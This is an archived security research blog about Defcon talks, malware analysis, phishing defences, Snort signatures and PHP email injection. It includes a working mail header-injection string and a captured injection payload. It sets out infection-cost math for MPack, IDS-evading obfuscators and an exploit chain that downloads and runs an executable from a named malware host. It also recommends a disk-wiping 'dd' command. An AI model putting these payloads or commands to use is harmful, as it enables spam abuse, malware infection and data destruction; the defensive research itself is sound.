Mulling Security

Decon 17 presentations

2009-07-02T08:51:00.005-04:00

It's been a long time since I've posted here, and I'm sure anyone with this link left in their RSS feed is wondering if it's still live. The real news is that I have two upcoming presentations at Defcon 17 that should be a lot of fun. Both of these presentations are with other researchers with whom I have done a lot of past work with.

"Making Fun of Your Malware" is sure to be a great time. In this talk MHL and I will walk through some of the funniest mistakes we've seen in malware. To put it in MHL's words:

Would you laugh if you saw a bank robber accidentally put his mask on backwards and fall into a man hole during the getaway, because he couldn't tell where he was going? Criminals do ridiculous things so often, its impossible to capture them all on video. Rest assured, when the criminals are malware authors, we can still make fun of them through evidence found in pictures, binary disassemblies, packet captures, and log files. This talk evenly distributes technical knowledge and humor to present the funniest discoveries related to malware authors and the fight against their code.

Links:
http://www.defcon.org/html/defcon-17/dc-17-speakers.html#Ligh
http://volatility.tumblr.com/post/109305786/making-fun-of-your-malware

"0-day, gh0stnet and the inside story of the jbig2 debacle" is filled with intrigue, controversy, fun hacker hunting and lots of opinions. Steven Adair and I will be doing this talk together based off of some work we did earlier in the year with the jbig2 0day. This issue turned into a passionate debate around the merits of full disclosure, partial disclosure and lame vendor response. We'll be sure to keep the spirited discussion rolling as well as show some interesting connections between this vulnerability and the gh0stnet paper revealed earlier this year.

This talk is the story of 0-day PDF attacks, the now famous gh0stnet ring and the disclosure debacle of the Adobe JBIG2 vulnerability in January and February 2009. This is the story of international cyber-espionage using 0-days and the fierce debate over how to defend networks in the face of prolonged periods of exposure to unpatched vulnerabilities.

We seek to answer the following questions in this talk:

Who was behind the early 0-day attacks and are they the same as the gh0stnet report published in April 2009?
Did disclosure of the Adobe JBIG2 vulnerability have an impact on targeted attacks?
How effective were post-disclosure protections such as AV signatures, IDS signatures and workarounds?
Throughout the talk we dissect the 0-day artifacts and other events leading up to the partial disclosure of the JBIG2 vulnerability on February 19 by ShadowServer. Using a variety of 0day PDF samples we will analyze the 0-day attacks and attempt to correlate them to the attackers discussed in the recent paper "Tracking GhostNet: Investigating a Cyber Espionage Network".

We will also look at the partial disclosure by ShadowServer and then full disclosure on the Sourcefire blog and assess the impact on targeted attacks. We will analyse the various malicious PDF's submitted to Virustotal to determine their lineage and relationship to either the original 0day exploit and gh0stnet or new attacks that sprang up in the wake of the disclosure. The analysis tools and techniques will be shared to aid future analysis efforts.

Links:
http://www.defcon.org/html/defcon-17/dc-17-speakers.html#Richard

Malware delivery - Fedex vs. Google Adwords

2007-10-04T11:08:00.000-04:00

Consider two different means to deliver malicious code that cost money. First shipping thumbdrives loaded with malware and autorun.inf files. Second buying Google Adwords and pointing the links to a webserver you have loaded with a legally purchased copy of MPack.

Both methods costs a lot of money. Which has the best ROI? Assuming that our goal is to infect 1,000 US users we can easily calculate the costs. It's important to note that each country will have different average infection rates which significantly changes the math.

Let's start with Fedex. We can buy 256MB thumbdrives for about $2.50/each in quantities of 1,000. The shipping cost for each drive (assuming targets all within 800 miles and non-rural) is about $5.22 each. We also need to assume that about 50% of our targets will actually insert the drive and become infected.

So our Fedex cost is ($2.50 + $5.22) * (1000 users / .5 infection rate) = $15.44/infection. Not too bad considering the amount of money that could be made from each machine.

Now, let's run the same math with MPack and Google. Let's buy a Google adword likely to infect lots of unwary US citizens with money in the bank and a propensity for clicking on odd links.

Looks like "magic vacation" is available for about $.05 per click. That should work nicely for this example. To calculate our costs we'll need some more information about MPack. First we can buy a "legal" and supported version for about $1,000. From previous MPack attacks I know that the US infection rate is about 3.3%.

Our MPack costs work out to $1,000 + (1,000 users / .033 infection rate * $.05/click) = $2.52 per infection. (Ignore the fact that this requires 30,000 hits to our fake Adwords page :)) Not too shabby.

Sample PHP Email Injection from a real Attacker

2007-08-09T15:12:00.000-04:00

This posting has been in my drafts for over a year. It's really interesting to see how PHP mail injection is done in the wild. Hopefully Michael doesn't mind me posting details - if he does it's not a problem since I'm sure he doesn't read these posts. :)

---------------------------------------------------------------------------

Here is a php email injection attempt captured "in the wild". This attack was against the same script that was exploited in PHP Email Injection Step by Step.

The attack wasn't successful for 2 reasons. First mod_security was used to block certain tell-tale signs of php email injection. The second reason is that the script limits the "name" field to a reasonable number which this attempt exceeded.

text=stood8261%40spree.mnin.org&
email=stood8261%40spree.mnin.org&
Submit=stood8261%40spree.mnin.org&
name=him%0D%0AContent-Type%3A+multipart%2Fmixed%3B+bound
ary%3D3cde64db239a99d3c03a2b3399a85a90%0AMIME-Version%3A+1.0%0ASubject%3A+to+himsilf%2C+a+habit+iv+dog%0Abcc%3A+charleses3229%40aol.com%0A%0AThis+is+a+mult
i-part+message+in+MIME+format.%0A%0A--3cde64db239a99d3c03a2b3399a85a90%0AContent-Type%3A+text%2Fplain%3B+charset%3D%22us-ascii%22%0AMIME-Version%3A+1.0%0AC
ontent-Transfer-Encoding%3A+7bit%0A%0Amay+remember+at+tto+s+visit%0A--3cde64db239a99d3c03a2b3399a85a90--%0A%0D%0A.%0D%0A

4 Reasons OSX is not ready for Malware Research

2007-08-08T10:59:00.000-04:00

I love my MacBook Pro. I really, really, really want it to be my primary research machine. Right now it sits between my Inspiron 9400 running Windows XP and my 5 year old clone running Fedora Core 6.

After 3 months of trying to use if for my research machine I'm resigned back to Windows and Linux. Mac OS X just doesn't have the right stuff for malware research.

Here's why I think it's not ready yet:

1) Networking - Lack of strong networking support in Virtualization products. I've tested both Parallels (2 and 3) and Vmware Fusion. Both support multiple virtual NICs and allow you to assign IP addresses. Both fail to offer the kernel level networking support of Linux tied into the virtual interfaces. For example on Linux I can use iptables on the host to restrict traffic on virtual interfaces. Not so with ipfw on OS X and Parallels. Also, where are the virtual networking config scripts for OS X?

2) Disk Image Support - Parallels offers an explorer tool that can view any type of image through a GUI. It works wonderful. It doesn't let me mount the disk in a way that allows systematic processing of the disk image. Vmware makes a nice virtual disk mount application for Linux and Windows but not OS X.

3) Headless support - Vmware offers headless support on both Windows and Linux which saves tons of time with 4 research machines. No need to sit in front of the machine running the VM to do simple GUI interactions. No such option for OS X.

4) Video capture - Vmware supports full screen video capture of guests on Linux and Windows but not OS X. Parallels does not offer video capture either. Sometimes a screenshot just isn't enough.

Defon 15 presentation now online

2007-08-07T23:42:00.001-04:00

"Beyond Vulnerability Scanning - Extrusion and Exploitability Scanning" is now online at http://www.eescan.net/downloads/DC15.pdf.

Many thanks to all who attended. Please feel free to send any feedback to:

Matt Richard - Extrusion and Exploitability Scanning
mrichard@verisign.com
matt.richard@gmail.com

Fred Doyle - Risk Metrics
fdoyle@verisign.com

New Twists for HTML Obfuscation in EEscan

2007-07-26T11:36:00.000-04:00

Update 8/7/2007 - Please see www.eescan.net for additional details.

I've just finished coding up some new HTML obfuscation modules for eescan. The exploitability tests in eescan will use these obfuscators to probe for

Here are some of the obfuscators that work right now:

gzip
deflate
chunked
MPack XOR javascript encoder
MPack cryptor 4-pass javascript encoder
AJAX
SSL
HTTP over port 443
SSL over port 80
arbitrary combinations like AJAX->Mpack->gzip->chunked->SSL->port 80

My favorite so far is AJAX which breaks up the target html into a random number of arbitrary chunks, downloads each using a synchronous request, reassembles them and then eval()'s the code.

Initial testing of the Ajax modules is yielding great results against network based IDS/IPS, so-so results against proxies and good results against desktop AV/IPS suites.

Almost ready for eescan

2007-07-11T09:11:00.000-04:00

Update - For more information see http://www.eescan.net

All of the upgrades went smoothly and now I've got the colo ready for some eescan action. I was able to add some dedicated IP addresses to my machine and some precious disk space.

You might be asking what this whole eescan thing is all about. Well I guess you'll just have to come to the talk at DEFCON to find out. Here's the abstract:

With this presentation we will demonstrate a new tool called eescan that automates extrusion and exploitability scanning using a client/server approach. Eescan will be released under the GPL and utilizes python to create an extensible framework for testing extrusion and exploit defenses.

All network security systems have gaps. Layered security tries to cover the gaps with overlapping protections like firewalls, intrusion prevention, proxies and other mechanisms. How do you really know where the gaps are before the weeds grow through? Vulnerability assessment tools scan for vulnerable systems from an attackers perspective. This technique has value but fails to represent the risk posed by client application usage and attacks. They also fail to assess extrusions - the traffic content allowed to leave a network.

Extrusion and exploitability scanning attempts to find these gaps using an automated scanning framework. The scanning techniques simulate user and attacker behavior from the client perspective to holistically measure the amount of risk in a given security system.

Downtime for eescan on 7/10/07

2007-07-10T09:33:00.000-04:00

During the day today I'll be taking down mullingsecurity.com and for some upgrades to prepare for eescan. The upgrade will consist of an upgrade of the OS, bigger disk and some additional IP addresses.

The extra IP addresses are needed so that I have clean IP's available for eescan to use for egress and extrusion scanning. The extra disk space won't hurt either.

Did Google send you?

2007-07-09T11:01:00.000-04:00

I find it fascinating how people arrive at a lowly blog with very little traffic. The short answer is that most visitors arrive via search terms.

Some of the search terms are predictable based on past blog entries. By far the most popular search engine queries leading to www.mullingsecurity.com are variations of the following:

q=ddabx.dll (interesting since the malware is 2+ years old)
q=php+mail+injection (a classic still in use by spammers and yes they come here for tips)
q=omfg.class (a really old java exploit)

And then there are the really interesting queries that lead here.!

http://search.live.com/result.aspx?q=adult
http://search.live.com/result.aspx?q=mercedes
http://search.live.com/results.aspx?q=DOOR+BADGE+SECURITY
http://search.msn.com/results.aspx?q=door+security+posts
http://www.google.com.au/search?q=what+ports+do+i+need+to+open+on+firewall+for+stunnel
http://www.google.com/search?q=+Matt+Richard+security
http://www.google.com/search?q=gmail+body+location+bar
http://www.google.com/search?q=%2B%22card+cvv2%22+%2Bphishing
http://www.google.com/search?q=howto+remote+exploit+127.0.0.1
http://www.google.com/search?q=squid+botnet+domain

I conclude the following:

MSN Live search really sucks.
There are people exploiting localhost remotely.
Having random security words on the same page gets you hits from Google.

PHP Mail Injection Testing Script

2007-07-09T10:52:00.000-04:00

Here is a sample Perl script to test for PHP mail injection. The code has some documentation and might be usable if you already know how to hack foreign perl scripts. :)

Most people try to test using GET requests which will fail every time since the browser and web server don't like processing the needed cr and lf's correctly. The script makes a post request to the server using 3 command line arguments. It won't work as is since you will need to modify for the target scripts form parameters.

I think I wrote this in February 2006 while helping a friend secure his contact form against php mail injection bugs.

Enjoy! http://www.opensecnet.com/php_inject_sample.pl.txt

Extrusion and Exploitability Scanning accepted for DEFCON 15

2007-07-09T10:11:00.000-04:00

I'll be presenting my latest research on extrusion and exploitability scanning at DEFCON 15 this year. You can find presentation info and bio at http://www.defcon.org/html/defcon-15/dc-15-speakers.html#Richard.

The presentation is at 12:00pm on Sunday - check the DEFCON official site for more info.

The Greek strikes back

2007-06-15T13:11:00.000-04:00

I'm sure my site will be DDoS'd soon by the same person that searched for "remote exploit 127.0.0.1" yesterday. It seems they decided to do some follow up research on my site after yesterdays post.

From today's apache logs I have a number of hits from a Greek Internet cafe address 87.101.90.49 using a web crawling tool with the user-agent set to "Windows 98". Very interesting given that the amount of "random" traffic I get from Greece is near zero.

Of course I guess I could just set www to 127.0.0.1 and take care of that problem. :)

The bad LUPH pun

2007-06-14T10:35:00.000-04:00

Apparently my pun with LUPH was a bit to subtle. The posting discusses the "Login URL Policy Framework" aka LUPF but instead I chose the acronym LUPH.

The "PH" was intended as a pun on the tendency to use "ph" for everything related to phishing.

Attackers do lots of homework

2007-06-14T10:27:00.000-04:00

From yesterdays apache logs. Look at the search term "howto remote exploit 127.0.01". Even better the search came from a host named smarsmtp02.cosmote.gr. Interesting....

Wonder how many pages this guy visited? For the record mullingsecurity.com is hit #14 in google.

195.167.65.19 - - [13/Jun/2007:07:21:46 -0400]
"GET /2006/01/howto-getting-remote-access-to-windows.html HTTP/1.0" 200 20478 "http://www.google.com/search?q=howto+remote+exploit+127.0.0.1&rls=com.microsoft:el&ie=UTF-8&oe=UTF-8&startIndex=&startPage=1"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)"

LUPH - The Login URL Policy Framework

2007-05-07T21:59:00.000-04:00

Is there a better way to fight phishing attacks? A method that allows banks and brands to protect themselves by specifying the correct place for users to enter credentials? Perhaps we could dream up an interoperable means of sharing and updating this information from brand owner to consumer quickly, efficiently and using technology that we already have?

If this sounds interesting read on for my proposal - LUPH. Login URL Policy Framework.

There are a lot of somewhat effective methods for blocking phishing attacks. You've got your browser plugins from Microsoft, Mozilla.org and Netcraft. You also have volunteer tracking and takedown teams like PIRT and PhishTank. There are numerous other anti-virus, anti-spyware and research companies also trying to solve the problem. Recently there have even been proposals to create new TLD's just for banks to allow them "exclusive" rights to these urls and eliminate consumer confusion.

I think that the problem is that we're not asking the right people to fix the problem. The only party that has the requisite knowledge to tell a browsing consumer if they are entering their username and password into the right online form is the bank. Why don't we just ask them what login urls should be allowed for a "brand" and then validate for the browsing consumer that they are on the right page?

This same problem was, and to a large degree still is, prevalent in the SMTP email system. Nobody knows what hosts should really be allowed to send mail on behalf of any given domain. This makes it nearly impossible to block messages fraudulently claiming to be from a legitimate source.

How did we try to solve the problem of forged emails? SPF - Sender Policy Framework. In SPF we ask every domain to specify the IP addresses from which we should allow mail from their domain to be sent. In theory if you receive a piece of mail from a server that is not authorized through SPF it should be rejected outright. In effect this solves the problem of forged email addresses right? Wrong.

In practice SPF has a medicore adoption rate and an even lower block rate. It's too much hassle for most domain owners without any real return on the small investment.

Now let's see how we can make this same concept successful to fight phishing. What was DNS made for? Acting as a distributed database for arbitrary ascii data of course. Don't believe me, check out RFC 1464 http://www.ietf.org/rfc/rfc1464.txt.

So applying this to phishing - we ask every brand owner that would like to be protected against phishing to create a txt record in their DNS zone containing the urls or url stubs that users should use to login to their services. Next we create browser plugins that do perform a DNS lookup every time a user wants to submit login information and check the domain against the valid urls.

Now the clever reader might be asking what happens if the phisher simply registers a domain like paypalisus.com and then creates the correct LUPH records for that domain? Wouldn't the proposed system allow the user to submit credentials to that site? Of course and that's where the secret sauce comes in.

The secret sauce lies in one additional step that the browser would need to enforce. The user would need to identify the brand that they think they are submitting their credentials to. This could be as simple as a list of possible legitimate domain matches based on page content to a pop-up box that would require the user to enter the domain that they think they are on. Once the browser knows where the user **thinks** the credentials are being submitted it can then perform the DNS check to validate the url.

Obviously there are a lot of hurdles that would need to be cleared to make this a viable system. My thinking is that this is a relatively simple, inexpensive and scalable solution that does not require an entirely new infrastructure to support.

Maybe this is the kind of idea that seems really good after you've been awake for 24 hours but turns out to . :)

Is this thing on?

2006-09-11T23:51:00.000-04:00

It's been a while since the last post. Life has been a bit busy with a new baby and a two year old but I haven't fallen asleep.

Check back soon for thoughts on security, virtualization, toddler hackers and the HoneyHuman project.

Captchas to defeat SSH brute force attacks

2006-03-14T16:06:00.000-05:00

In between the 6,000 ssh brute force attacks I receive everyday I try to come up with some clever countermeasure. It's just a passing obsession since I use key based authentication but it still nags at me.

I had a conversation with a friend from RIT who mentioned that during a security competition one of his colleagues had used captchas to defeat ssh brute force attacks. As soon as I heard this suggestion I knew it was what I wanted.

1 Google search and 10 minutes later I found the project he had referred to. It's a little rough on the edges but it implements several interesting captcha techniques in a pam module called pam_captcha.

You can find the project at http://www.csh.rit.edu/~psionic/projects/pam_captcha/.

Basically it works like this - you attempt to login via ssh and are prompted for a username. After entering your username you must solve a randomly generated captcha. The captcha could be a simple math problem or ascii art containing a number or phrase. Either way the idea is that the information is easy for a human to deduce but difficult for a machine. Since brute force SSH attacks rely on a machine to continually guess passwords this effectively defeats the attack.

PHP Email Injection - Step by Step Part 1

2006-02-15T09:06:00.000-05:00

I recently got to have a little fun with a colleague (who will remain nameless) who was using a PHP script for a contact form. About 2 weeks ago he received several submissions to his contact form that appeared to contain SMTP headers in the "Message" portion of the submission. The form was named "contact.php" and it was obvious that somebody thought that this form might make a good PHP email injection target. If you haven't already read this article on how PHP email injection works, read it now.

Note: I wrote a custom Perl script to automate the injection process, if you would like a copy for legit testing purposes please email me at matt.richard@gmail.com.

The contact form allows the submitter to enter their email address, name and a comment. The email and name input fields have HTML limits of 128 characters which for this article we will assume to be hard limits in the script. Note that I verified these limits in the source later.

Here is the email that he forwarded (some headers snipped):

> To: victim@victim.org
> Subject: Web Contact From said144@victim.org
> From: said144@victim.org <>
> Reply-To: said144@victim.org
> Date: Mon, 6 Feb 2006 06:02:02 -0500 (EST)
>
> Time: Mon, 06 Feb 2006 06:02:01 -0500
> Name: said144@victim.org
> Email: said144@victim.org
> Status: Domain OK.
> Message: had
> Content-Type: text/plain; charset=\"us-ascii\"
> MIME-Version: 1.0
> Content-Transfer-Encoding: 7bit
> Subject: of urope
> bcc: charieses329@aol.com
>
> 379ec90f66d778aeb20b9a9d3f279d8

As you can see from these headers and the body, the injection attempt was not successful. The attacker only managed to get his HTML code in the "Message" section which did not modify the headers. Remember that based on how PHP email injection works we need to find a parameter that is passed in the "$headers" field of the mail() function. In this case I would guess that "Message" doesn't meet that criteria.

So that leaves "email address" and "name". Looking at the headers it appears that "name" appears in the body of the message (won't help) and possibly in the From: header. If we're lucky the From: header is being generated by passing a string to the $header field of mail() which would allow us to inject headers. Both $email_address and $name should work barring some form of server side filtering.

At this point we're really banking on the possibility that the form creates a nice looking From: field by using something like "From: $email_address < $name >" This would give us the opportunity to manipulate either the "$email_address" or "$name" variable. Let's get started executing our attack.

Let's take on the $name field because it comes after the $email_address and we can arbitrarily submit any From: address we want. Using $name will give us the flexibility to add headers without recreating the From: header. We will also want to come up with a good way to disguise the subject and body of the message, more on that later.

To: victim@victim.org
Subject: Web Contact From $name
From: $email_address < $name >
Reply-To: $email_address

Date:
Time:
Name: $name
Email: $email_address
Status: Domain OK.
Message: $message

Our injection has to take 3 factors into consideration:

we want to close the <> so that our header is valid
we need to inject newline - cc: some address - newline
we need to neutralize the hanging ">" that will show up at the end of our header

In an effort to keep things simple we'll start by using something like "f@from.org>\ncc:dest@dest.org\nX-Test:". I'm injecting an extra "X-" header since this information will be ignored by MTA's and mail clients. The only function of this extra header is to prevent the ">" from appearing as a separate line in the header and potentially raising red flags.

This should yield a header like this:

To: victim@victim.org
Subject: Web Contact From f@from.org>\ncc:dest@dest.org\nX-Test:
From: foo@bar.com <>
cc: dest@dest.org
X-Test: >
Reply-To: foo@bar.com

A quick run of my custom Perl script and voila! An email arrives in my inbox with my injected headers and my arbitrary delivery address in the CC line. Since my address was in the CC line and the victim's address was in the To: line we'll call this a success.

In Part 2 we'll explore how to manipulate the subject and body so that we remove all of the ugly text already in the message and replace it with our own custom text.

Cisco Botnets?

2006-02-10T12:08:00.000-05:00

I've never heard of a Cisco botnet but I suppose it's possible. The details are awfully vague and it could mean just about anything. If you're still in the stone age and using publicly exposed telnet services it might be a good time to change that.

XYZ has been able to identify a botnet that is
actively scanning on port 23/tcp and is targeting Cisco devices such as
routers for exploit and access. The activity has taken place in
multiple short-term durations; targeting a variety of Internet address
segments. Multiple successful exploits have been identified; gaining
"enable" and/or "console" passwords for the devices. The exploit is not
limited to weak passwords. At this time, it is not clear exactly what
exploit is being used to attack the routers nor for what function the
routers might be used. However, this capability could be used by
malicious users to launch DDoS attacks, sniff private network traffic,
change routing on networks, subvert Access Control Lists, and/or use the
routers to create logical private networks for the malicious users.

You Are the Weakest Link!

2006-02-06T12:13:00.000-05:00

An article by Brian Krebs from the Washington Post discusses the impact of research by Richard M. Smith which details a large number of potential vulnerabilities in third party ActiveX controls. This research is scary and paints a grim picture on the state of desktop security.

Also in the news is the latest winamp flaw is being exploited to install malware.

The bottom line here is that the new battleground for desktop security will not be the OS or the browser but it will be third party applications. The reason is fairly simple - bad guys go for the largest base of easy targets.

It sounds overly simplistic but why would bad guys put monumental effort into developing the next exploit if the target has a reliable mechanism to update within 30 days. I'm not saying that all IE users are updating their browsers with every MS security update but the number is rising all the time.

Think of the goldmine of third party applications that can be exploited on most browsers - java, flash, winamp, quicktime. Most of these applications rarely get patched and even the most corporations pay little attention to these.

This is exactly the reason that spyware authors can use a 18 month old java vulnerability and catch most Internet users off guard. After all the work we've done getting people to patch Windows and IE it looks like we're back to the drawing board....

Update on ddabx.dll

2006-01-26T07:57:00.000-05:00

I get a ton of hits to my blog from search engines for the string "ddabx.dll". I feel really guilty since I've been withholding knowledge from everyone who hits my site because I only have one tiny blog entry that says "what's ddabx.dll?" with no answers. Well now you can get some answers. Sorry.

After a little forensic review of ddabx.dll I determined that it's a variant of conhook. The dll itself spawns a thread and attaches to winlogon.exe, explorer.exe and a seemingly random third executable. The thread is extremely difficult to kill even using tools like Process Explorer. Most anti-virus applications are able to detect the binary located on disk (usually c:\$WINDIR\system32\ddabx.dll) but are unable to successfully remove it from the system. F-Prot was detecting it as W32/Downloader.ISZ. Most seem to fail at recognizing the binary once loaded into memory because of it's dynamic runtime alterations.

What was really killing me while I was doing my research was that it didn't appear to do anything. In many analysis it's fairly straightforward to setup a sandbox environment, run the malware and capture all of it's actions. The problem with ddabx.dll was that it didn't do anything. No outbound network connections, no new file handles, nothing.

After jumping through hoops I was finally able to do some analysis on the binary while loaded in memory. This turned up a whole host of new information. I found that the dll itself remains resident in memory waiting for the right time to download an update from updates from the following urls (really the same server):

http://ushuistov.net/cgi-bin/check/autoaff
http://202.67.220.235/cgi-bin/check/autoaff

It is this download capability that gives the malware it's designation as a "downloader" by most AV vendors. It really doesn't do much besides wait, check for updates every so often and wait some more. The dll also monitors the "health" of it's other instances and will restart any of them if tampered with.

Most of this information was not available through static analysis of the dll. I did most of my research a little outside the box by looking at the memory image of a suspended vmware machine. I'll give more details on that process another day.

If you came to this blog entry looking for the simplest way to get rid of ddabx.dll - boot with a linux live cd and issue "dd if=/dev/zero of=/dev/hda" and reinstall Windows. If you're patient I have some additional research on how most Spyware and AV agents stack up that I'll post.

Paper: Anatomy of a Phish III

2006-01-23T14:56:00.000-05:00

Michael Ligh just released the latest in the Anatomy of a Phish series title "Anatomy of a Phish III."

As always we had a lot of fun researching and dissecting the tools and techniques used by the bad guys in their never ending quest for a debit card, CVV2 and PIN. Like all great script kiddie stories it's not complete until the bad guy leaves some incriminating evidence via IRC (Idiots Really Chat).

Don't forget to check out "Anatomy of a Phish II" and "Anatomy of a Phish I".

Snort sigs for latest Java Malware

2006-01-23T14:05:00.000-05:00

Here are some snort signatures to detect a couple of recent pieces of Java malware. In particular the Sun Java vulnerability actively being exploited is the "Sun Java Plugin Arbitrary Package Access Vulnerability".

The signatures detect 2 different variants of this exploit. The most significant signature is the "Java runtime.exec()" which should never be seen in untrusted applets.

alert tcp any $HTTP_PORTS -> $HOME_NET any (msg:"Java runtime.exec() call"; flow:from_server,established; content:"|52 75 6e 74 69 6d 65 3b 01 00 04 65 78 65 63 01 00|"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Java private function call sun.misc.unsafe"; flow:from_server,established; content:"sun/misc/Unsafe"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Java field reflector call java.lang.reflect.field"; flow:from_server,established; content:"java/lang/reflect/Field"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Javascript unsafe applet call"; flow:from_server,established; content: "sun.misc.Unsafe"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Javascript Securitymanager class applet call"; flow:from_server,established; content: "java.lang.SecurityManager"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)

Running these signatures will trigger when either of my 2 test exploits (run at your own risk) are executed on a vulnerable machine (JRE 1.4.2_05 or prior). If executed on a patched JRE the javascript signatures will trigger.

Variant #1 (http://38.112.88.68/ads/) - http://www.opensecnet.com/testsploit.htm

snort: [1:0:1] Java field reflector call java.lang.reflect.Method [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1103

snort: [1:0:1] Java SecurityManager manipulation [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1103

snort: [1:0:1] Java field reflector call java.lang.reflect.Method [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1107

snort: [1:0:1] Java SecurityManager manipulation [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1107

snort: [1:0:1] Java runtime.exec() call [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1108

Variant #2 (a.k.a fullchain.net) - http://www.opensecnet.com/test2sploit.htm

snort: [1:0:1] Javascript unsafe applet call [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1112

snort: [1:0:1] Java field reflector call java.lang.reflect.field [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1114

snort: [1:0:1] Java runtime.exec() call [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1114

snort: [1:0:1] Java private function call sun.misc.unsafe [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1114

snort: [1:0:1] Java field reflector call java.lang.reflect.field [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1114

More Information on Java Exploit

2006-01-13T13:19:00.000-05:00

I've come across some additional information on the java exploit story.

First, SANS Incident Storm Center and CERT have issued alerts:

Next I found Jouko Pynnönen who found the original bug and his advisory.

Also a news story on silicon.com from November 24, 2004 discussing the potential impact of the vulnerability.

Old Java Bug exploited from Ukraine

2006-01-13T10:28:00.000-05:00

It's nothing new to see pages that use two or more browser vulnerabilities to infect innocent browsers. In fact Michael Ligh wrote about one of the first in Tri-mode browser exploits and followed up with Red-Headed Browsers. One of my recent blog entries talks about an exploit hosted in the Ukraine that uses java to download an and execute malware.

I wanted to provide a little more detail for those looking for information on this particular malware. This site uses 4 unique exploits. The most interesting part is the Sun JRE vulnerability. This exploits a vulnerability in the Sun JRE published in June 2004.

I have confirmed that this exploit works on all versions of JRE prior to 1.4.2_06 and 1.5.0_2. The best part about this exploit is it doesn't discriminate against browsers or operating systems. Think you can't get spyware because you run Linux, Mac OS X or Firefox? Guess again.

Also keep in mind, this vulnerability is 18 months old and there are a lot of people still vulnerable. Everybody is worried about patching Windows and IE and they forget about Java, Quicktime, Flash and the other cross-browser/OS applications that are just as dangerous.

I have some sample exploits for your own testing with links below. Be forewarned that by visiting that URL you are downloading an arbitrary executable that I claim is harmless but could be anything.

Windows - downloads and executes a copy of calc.exe
Linux - coming soon
Mac OS X - coming soon
Solaris - coming soon

Here is more information on the specific exploits and malware distributed by fullchain.net:

Exploit #1 - Sun Java Plugin Arbitrary Package Access Vulnerability
Uses:

index.php

sets up the java exploit with the required javascript and calls classes
has error handling to redirect you to the MS java exploit if this fails

Anima.class

main applet class for exploit

downloads class omfg

Anima literally means spirit, soul, or breath of life.

View the JAD disassembled version here

omfg.class

downloads "http://fullchain.net/psg/psj.exe"

executes psg.exe using "Runtime.getRuntime().exec()" function

omfg literally means "oh my freaking god"

View the JAD disassembled version here

psj.exe

md5sum - 453ebbe8de81bc687180231dc5612ece

same as web.exe used by the byteverify bug in exploit #3

McAfee detects as "Generic Downloader.ab"

Symantec detects as "Trojan.Desktophijack"

Exploit #2 - MS05-002 Cursor parsing vulnerability
Uses::

index.php

includes the ani parsing setup code

indexit.php

also contains the ani parsing setup code

psg.anr

current ani exploit used by site

full.anr

no longer posted but past ani exploit used by site

Exploit #3 - MS03-011 MS JVM vulnerability
Uses:

indexit.php

contains call specifically to the MS JVM to execute jar.jar in case both Sun and MS are installed on system

jar.jar

Counter.class
Gummy.class
VerifierBug.class
web.exe
Worker.class
Xeyond.class

web.exe

md5sum - 453ebbe8de81bc687180231dc5612ece
same as web.exe used by the Sun bug in exploit #1

Exploit #4 - MS04-013 MHTML vulnerability
Uses:

main.chm